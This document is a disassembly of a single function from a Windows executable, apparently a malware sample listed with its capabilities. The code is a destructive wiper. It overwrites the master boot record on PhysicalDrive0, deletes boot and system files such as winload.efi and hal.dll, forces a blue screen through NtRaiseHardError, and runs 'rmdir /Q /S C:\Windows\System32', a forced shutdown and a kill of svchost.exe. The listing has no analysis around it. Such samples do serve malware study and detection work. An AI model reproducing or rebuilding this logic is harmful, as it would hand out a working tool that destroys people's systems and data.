Function at 0x140001070
Capabilities:
Delete file
Execute command
Shutdown system
Write and execute a file
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x280
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x270], rax
xor edx, edx
lea rcx, [rsp + 0x70]
mov r8d, 0x200
call sub.VCRUNTIME140.dll_memset
xor esi, esi
lea rcx, str..PhysicalDrive0
mov qword [rsp + 0x30], rsi
xor r9d, r9d
mov dword [rsp + 0x28], esi
mov edx, 0x10000000
mov dword [rsp + 0x20], 3
lea r8d, [rsi + 3]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
lea r9, [rsp + 0x4c]
mov qword [rsp + 0x20], rsi
mov rcx, rax
lea rdx, [rsp + 0x70]
mov r8d, 0x200
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
lea rdx, str.check_ur_admin_privileges_stupid__n_r
lea rcx, str.ur_mbr_has_been_fucked_up._n_r
cmove rcx, rdx
call fcn.140001010
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str.C:WindowsSystem32Bootwinload.efi
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
test eax, eax
je 0x140001186
lea rcx, str.C:WindowsSystem32Bootwinresume.efi
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
test eax, eax
je 0x140001186
lea rcx, str.C:WindowsSystem32CodeIntegritydriver.stl
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
test eax, eax
je 0x140001186
lea rcx, str.C:WindowsSystem32CodeIntegritydriveripolicy.p7b
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
test eax, eax
je 0x140001186
lea rcx, str.C:WindowsSystem32eventvwr.exe
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
test eax, eax
je 0x140001179
lea rcx, str.Error_Deleting_File__System_Saved
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_perror]
jmp 0x140001186
lea rcx, str.File_Successfully_deleted
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_puts]
lea rcx, str._systemroot__system32hal.dll
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, [0x140003360]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, [0x140003370]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [0x140003388]
mov rcx, rbx
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
test rdi, rdi
je 0x140001205
test rax, rax
je 0x140001205
xor r8d, r8d
lea r9, [rsp + 0x48]
lea edx, [r8 + 1]
lea ecx, [rdx + 0x12]
call rdi
lea rax, [rsp + 0x4c]
xor r9d, r9d
mov qword [rsp + 0x28], rax
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x20], 6
mov ecx, 0xc0000022
call rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x40]
mov edx, 0x28
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
lea r8, [rsp + 0x5c]
xor ecx, ecx
lea rdx, str.SeShutdownPrivilege
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
mov rcx, qword [rsp + 0x40]
lea r8, [rsp + 0x58]
xor r9d, r9d
mov qword [rsp + 0x28], rsi
xor edx, edx
mov dword [rsp + 0x58], 1
mov dword [rsp + 0x64], 2
mov qword [rsp + 0x20], rsi
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov edx, 0x10007
mov ecx, 6
call qword [sym.imp.USER32.dll_ExitWindowsEx]
xor r8d, r8d
lea r9, [rsp + 0x49]
mov dl, 1
lea ecx, [r8 + 0x13]
call qword [sym.imp.ntdll.dll_RtlAdjustPrivilege]
lea rax, [rsp + 0x50]
xor r9d, r9d
mov qword [rsp + 0x28], rax
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x20], 6
mov ecx, 0xc0000420
call qword [sym.imp.ntdll.dll_NtRaiseHardError]
lea rcx, str.rmdir__Q__S_C:WindowsSystem32
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.shutdown__s__r
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.taskkill__F__IM_svchost.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov rcx, qword [rsp + 0x270]
xor rcx, rsp
call fcn.140001310
lea r11, [rsp + 0x280]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret